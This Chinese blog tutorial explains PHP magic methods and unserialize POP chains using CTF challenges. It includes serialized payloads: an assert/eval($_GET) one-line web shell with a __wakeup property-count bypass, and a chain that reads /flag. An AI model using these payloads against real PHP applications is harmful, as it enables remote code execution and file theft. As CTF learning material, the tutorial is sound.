前置知识:

1.关于魔术方法:

__construct(),类的构造函数__destruct(),类的析构函数__call(),在对象中调用一个不可访问方法时调用__callStatic(),用静态方式中调用一个不可访问方法时调用__get(),获得一个类的成员变量时调用__set(),设置一个类的成员变量时调用__isset(),当对不可访问属性调用isset()或empty()时调用__unset(),当对不可访问属性调用unset()时被调用。__sleep(),执行serialize()时,先会调用这个函数__wakeup(),执行unserialize()时,先会调用这个函数__toString(),类被当成字符串时的回应方法__invoke(),调用函数的方式调用一个对象时的回应方法__set_state(),调用var_export()导出类时,此静态方法会被调用。__clone(),当对象复制完成时调用__autoload(),尝试加载未定义的类__debugInfo(),打印所需调试信息

重新一个一个深入了解:

1.__construct__destruct

__construct 当一个对象创建时自动调用

__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)

<?phpClass User{public $id;public $name;public function __construct(){echo($this->name->first);}
}Class Password{public $first="first";public $second="second";}$a = new User();
$a->name = new Password();

结果:报错

Notice: Trying to get property of non-object in D:\wamp\www\test\4.php on line 7

PHP Notice: Trying to get property of non-object in D:\wamp\www\test\4.php on line 7

为什么?我们要了解代码执行的顺序。

1.>>>我们实例化User() 赋值给$a.

2.>>>实例化的同时,对象创建,就会执行构造方法__construct(这个时候还没有执行18行,是引用不到类Password的)

3.>>>执行$a->name = new Password();

如果是__destruct

<?php
Class User{public $id;public $name;public function __destruct(){echo($this->name->first);}
}Class Password{public $first="first";public $second="second";}$a = new User();
$a->name = new Password();

结果:

first

代码执行顺序:

1.>>>我们实例化User() 赋值给$a.

2.>>>执行$a->name = new Password();

3.>>>这个时候$a里面的属性name已经实例化Password()

2.__call

__call() 在对象上下文中调用不可访问的方法时触发

<?phpClass User{public $id;public $name;public function __call($arg1,$arg2){echo "$arg1,$arg2[0]"."\n";}}Class Password{public $first;public $second;public function __destruct(){$this->first->noexist("Test");}
}$a = new Password();
$a->first = new User();

结果:

noexist,Test

注意:这里要触发__call是要对象调用不可访问的方法!!!

如果添加这样的代码是触发不了的:

<?phpClass User{public $id;public $name;public function __call($arg1,$arg2){echo "$arg1,$arg2[0]"."\n";}}Class Password{public $first;public $second;public function __destruct(){$this->second=new Test();  // 新添加$this->second->noexist("Test"); // 新修改}
}
Class Test{} // 新添加$a = new Password();
$a->first = new User();

这个链子必须跟着要触发的魔术方法,就是这里必须是实例化User的不可访问的方法

3.__callStatic()

__callStatic(),用静态方式中调用一个不可访问方法时调用

访问静态成员用::

在PHP中双冒号 (::)操作符是一种范围解析操作符,又作用域限定操作符。 它是对类中的方法的静态 ( static) 引用,可以访问静态、const和类中重写的属性与方法。 php调用类的内部静态成员,或者是类之间调用就要用两个冒号 (::)。

和上面的那个例子几乎一样,区别就是 ::

<?phpClass User{public $id;public $name;public static function __callStatic($arg1,$arg2){echo "$arg1,$arg2[0]"."\n";}}Class Password{public $first;public $second;public function __destruct(){$this->first::noexist("Test");}
}$a = new Password();
$a->first = new User();

结果:

noexist,Test

4.__get()

__get() 用于从不可访问的属性读取数据//调用私有属性时使用 // 不存在调用

和__call如出一辙,只不过函数换成值:

<?phpClass User{public $id;public $name;public  function __get($arg){echo "__get success"."\n$arg";}}Class Password{public $first;public $second;public function __destruct(){$this->first->noexist;}
}$a = new Password();
$a->first = new User();

结果:

__get success

noexist

注意点和__call一样

5.__set

__set() 用于将数据写入不可访问的属性 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值 // 不存在赋值

<?phpClass User{public $id;public $name;public  function __set($arg1,$arg2){echo "__set success"."\n$arg1,$arg2";}}Class Password{public $first;public $second;public function __destruct(){$this->first->noexist="1";}
}$a = new Password();
$a->first = new User();

结果:

__set success

noexist,1

6.__isset()

__isset() 在不可访问的属性上调用isset()或empty()触发

<?php
error_reporting();
Class User{public $id;public $name;public  function __isset($arg){echo "__isset success"."\n$arg";}}Class Password{public $first;public $second;public function __destruct(){isset($this->first->noexist);}
}$a = new Password();
$a->first = new User();

结果:

__isset success

noexist

7.__unset()

<?php
error_reporting();
Class User{public $id;public $name;public  function __unset($arg){echo "__unset() success"."\n$arg";}}Class Password{public $first;public $second;public function __destruct(){unset($this->first->noexist);}
}$a = new Password();
$a->first = new User();

结果:

__unset() success

noexist

8.__sleep

<?php
class User{const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password){$this->username = $username;$this->nickname = $nickname;$this->password = $password;}// 重载序列化调用的方法public function __sleep(){// 返回需要序列化的变量名,过滤掉password变量return array('username', 'nickname');}}
$user = new User('a', 'b', 'c');
echo serialize($user);

用参考文献的例子.可以过滤掉Password变量

结果:

O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

9.__wakeup()

这个方法主要还是讲绕过吧。

 <?php
error_reporting(0);
class dxg
{function fmm(){return "nonono";}
}class lt
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct(){$this->impo = new dxg;}function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}function __destruct(){echo $this;}
}class fin
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;$b($this->title);}
}if (isset($_GET['NSS'])) {$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}

拿 SWPU NSS新生赛 一道题做演示。

很明显这里是要利用 $b($this->title); 这一句构造一句话木马的。

有两个地方调用了fmm()这个函数,但是__wakeup魔术方法会把实例化引向Class dxg里面,我们想要是再class fin里面。只能利用__toString。至于__construct这个魔术方法里面的实例化的对象我们是可以控制的,所以payload如下:

<?php
class lt
{public $impo;public $md51='weclome';public $md52='to NSS';function __construct(){$this->impo = new fin;}function __toString(){ if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return "aa";}
}class fin
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;$b($this->title);}
}
$a = new lt();
$a->md51="240610708";
$a->md52="QNKCDZO";
$a->impo->a="assert";
$a->impo->title="eval(\$_GET[8])";
$str = serialize($a);
$str1 = preg_replace("/:3:{s:4:/",":4:{s:4:",$str); //绕过wakeup
echo urlencode($str1);

只要把对象成员改大,就可以绕过__wakeup。只不过这个绕过方法有php的版本限制。

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"assert";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:14:"eval($_GET[8])";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";}
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"assert";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:14:"eval($_GET[8])";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";}

区别就是把o的成员改大。

10.__toString()

当一个对象被当作一个字符串被调用。

<?phpClass User{public $id;public $name;public function __toString(){return "qingfeng";}}Class Password{public $first;public $second;public function __destruct(){echo $this->first;}}$a = new Password();
$a->first = new User();

结果:

qingfeng

11.__invoke

当脚本尝试将对象调用为函数时触发 魔术方法__invoke被自动调用的条件是类被当成一个函数被调用

<?phpClass User{public $id;public $name;public function __invoke(){echo "__invoke";}}Class Password{public $first;public $second;public function __destruct(){($this->first)();}}$a = new Password();
$a->first = new User();

结果:

__invoke

12.__clone

<?phpClass User{public $id;public $name;public function __clone(){echo "__clone";}}Class Password{public $first;public $second;public function __destruct(){$this->second = clone($this->first);}}$a = new Password();
$a->first = new User();

结果:

__clone

小结

总算是非常非常明白地搞懂了这个序列化的东西了,现在回头来看这个题目就感觉非常简单了。

解题

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
}

题目给了源码,我们先找终点。

链子:

file_get_contents->__invoke->__isset->__clone->__call->__toString->__destruct;

payload:

<?php
error_reporting(0);
class Start{public $name;public $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{public $obj;public $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}
$a = new Start();
$a->name = new Sec();
$a->name->obj = new Easy();
$a->name->var = new eeee();
$a->name->var->obj = new Start();
$a->name->var->obj->func = new Sec();
echo (serialize($a));

参考文献

PHP反序列化研究 - 知乎

UnserializeOne相关推荐

  1. NewStar CTF UnserializeOne

    一.源码 <?php error_reporting(0); highlight_file(__FILE__); #Something useful for you : https://zhua ...

  2. CTF php反序列化总结

    前言:本⼈⽔平不⾼,只能做⼀些类似收集总结这样的⼯作,本篇文章是我自己在学php反序列化写的一篇姿势收集与总结,有不对的地方欢迎师傅们批评指正~ php反序列化 定义:序列化就是将对象转换成字符串.反 ...

  3. CTF之旅WEB篇(3)--ezunser PHP反序列化

    一.审题 对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路): <?php highlight_file(__FILE__); class A{public $name;public $ ...

  4. 七校联合NewStarCTF 公开赛赛道WEEK2 web wp

    也不知道是不是公开赛和内部赛是不是同一套题,week1的题挺简单的 这里小记一下week2的题目 如有侵权立刻删除 Word-For-You(2 Gen) 这题很简单就带过一下吧,报错注入就行 1'| ...

  5. NewStarCTF 公开赛赛道 第二周学习记录

    额..又是我哦,这次难度对于我来说有点高,一共就做出来这几个,属实有点少,作为菜鸡的我来给大家讲讲我的思路.... CRYPTO 一个还没做出来,还正在研究 MISC Yesec no drumsti ...

  6. NewStarCTF week2 部分题解

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.Word-For-You(2 Gen) 二.IncludeOne 三.UnserializeOne 四.ezAPI 五 ...

  7. NewStarCTF 公开赛赛道

    HTTP 跟着提示一步一步走. Head?Header! 同样是跟着提示. NotPHP <?php error_reporting(0); highlight_file(__FILE__); ...

最新文章

  1. 0.爬虫 urlib库讲解 urlopen()与Request()
  2. sourcetree回退已推送的代码
  3. kotlin 反射java类_关于Kotlin反射中实例化类的问题
  4. 高版本(3.9版本)python在anaconda安装opencv库及skimage库(scikit_image库)诸多问题解决办法
  5. html字符串转换jsx,javascript – 将React.element转换为JSX字符串
  6. 查找会议论文的会议地址
  7. ubuntu Vim的退出命令
  8. 上岸 | 震惊!211高校硕士毕业后,我在非洲当酋长!
  9. 无人驾驶(基于计算机视觉的高精度地图)
  10. Checkpointing
  11. 一步一步部署GlusterFS
  12. android仿qq空间、微信朋友圈图片展示
  13. 3dmax森林树木植物插件 Forest Pack Pro 6.3.1
  14. 安装和维护ImageJ
  15. Interpreter(解释器)
  16. 学习三部曲:WHAT、HOW、WHY
  17. 说话就是生产力-孙路弘讲课笔记
  18. 高德地图定位、添加定位图标、连线(二)
  19. [阅读体会] UNIX环境高级编程
  20. 【数据结构】第十三站:排序(下)归并排序

热门文章

  1. 教你用数据分析的方法填报志愿
  2. 解决 Unrecognized option: --add-opens=java.base/java.util.concurrent.atomic=ALL-UNNAMED 【实测有效】
  3. 【机器学习线性代数】05 封闭小世界:向量空间及其子空间
  4. 用户体验设计学习总结(下)
  5. 【NLP】第 18 章从零开始训练 Transformer
  6. 计算机管理 硬盘 设置脱机,win10系统提示磁盘处于脱机状态的设置教程
  7. 疯狂Html+CSS+JS 中CSS总结
  8. 路由【前端路由和后端路由】(在这吹不出褶皱的平静日子,你也在闪闪发光)
  9. linux测试tcp长连接工具,Linux(服务器编程):44---TCP长连接、短连接(心跳检测)
  10. PhotoShop 颜色替换工具、仿制图章工具